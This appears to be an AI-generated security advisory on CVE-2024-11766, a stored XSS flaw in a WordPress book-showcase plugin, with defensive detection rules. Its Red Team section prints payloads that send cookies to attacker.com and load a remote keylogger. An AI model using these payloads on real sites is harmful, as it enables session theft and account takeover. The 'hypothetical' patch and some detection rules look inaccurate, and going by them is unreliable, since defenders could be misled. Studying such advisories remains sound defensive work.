CVE-2024-11766

Executive Summary

CVE-2024-11766 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin GS Books Showcase (versions up to and including 1.3.1). The flaw resides in the gs_book_showcase shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level privileges can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further privilege escalation.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin is used to display books in grid, flip, slider, and popup layouts.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (Victim visits page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once access is obtained. The stored nature of the XSS increases the potential for widespread impact within a WordPress site.

Deep Dive & Mechanics

The vulnerability exists in the gs_book_showcase shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., title, author, category). When the shortcode is rendered, these attributes are directly embedded into the HTML output without proper encoding.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts the [gs_book_showcase] shortcode with a malicious attribute, such as: [gs_book_showcase title="<script>alert('XSS')</script>"]
3. The plugin processes the shortcode and outputs the unsanitized attribute into the page HTML.
4. When any user (including admins) views the page, the script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses echo or print without applying WordPress escaping functions like esc_attr() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (v1.3.1):

// In shortcode handler
$title = $atts['title'];
echo "<div class='gs-book-title'>$title</div>";

Patched Code (Hypothetical):

// Properly escaped
$title = esc_attr($atts['title']);
echo "<div class='gs-book-title'>" . esc_html($title) . "</div>";

The patched version would use esc_attr() for attribute values and esc_html() for HTML content, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with GS Books Showcase plugin <= 1.3.1
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [gs_book_showcase title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish or save the post.
5. Wait for an administrator or other user to view the post.
6. The script executes, exfiltrating cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>
• Keylogging: <script src='https://attacker.com/keylogger.js'></script>

Blue Team (Detection & Response)

Detection:

• Monitor for posts containing shortcodes with suspicious attributes (e.g., <script>, onload=, javascript:).
• Review contributor-level user activity for unusual shortcode usage.
• Use WAF rules to block XSS payloads in shortcode attributes.

Response:

1. Immediately disable the GS Books Showcase plugin.
2. Remove or sanitize any malicious posts/pages.
3. Reset all user sessions and force password changes.
4. Audit contributor-level accounts for unauthorized access.
5. Apply the patch once available.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/gs-books-showcase/ (entire plugin directory)
• Shortcode pattern: [gs_book_showcase title="<script>...</script>"]
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server
• Logs: WordPress audit logs showing shortcode insertion by contributor-level users
• Browser: Unexpected JavaScript execution on pages using the gs_book_showcase shortcode

Detection Engineering

YARA Rule

rule CVE_2024_11766_GS_Books_Showcase_XSS {
    meta:
        description = "Detects malicious shortcode attributes in GS Books Showcase plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-11766"
    strings:
        $shortcode = /\[gs_book_showcase\s+[^\]]*?(?:<script|on\w+=|javascript:)/i
        $plugin_file = "gs-books-showcase.php"
    condition:
        $shortcode or $plugin_file
}

Sigma Rule

title: CVE-2024-11766 - Stored XSS via GS Books Showcase Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in GS Books Showcase plugin
author: Valters IT
date: 2025/04/17
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # WordPress audit log event for post creation/update
        PostContent|contains: '[gs_book_showcase'
        PostContent|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11766 - GS Books Showcase Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gs_book_showcase"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove or sanitize any posts/pages containing the malicious shortcode.
3. Review and restrict contributor-level user permissions.

Long-term Fix:

• Apply the official patch from the plugin vendor once released.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Mitigation Controls:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Use WordPress security plugins (e.g., Wordfence) to monitor for XSS attempts.
• Regularly audit user roles and permissions.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.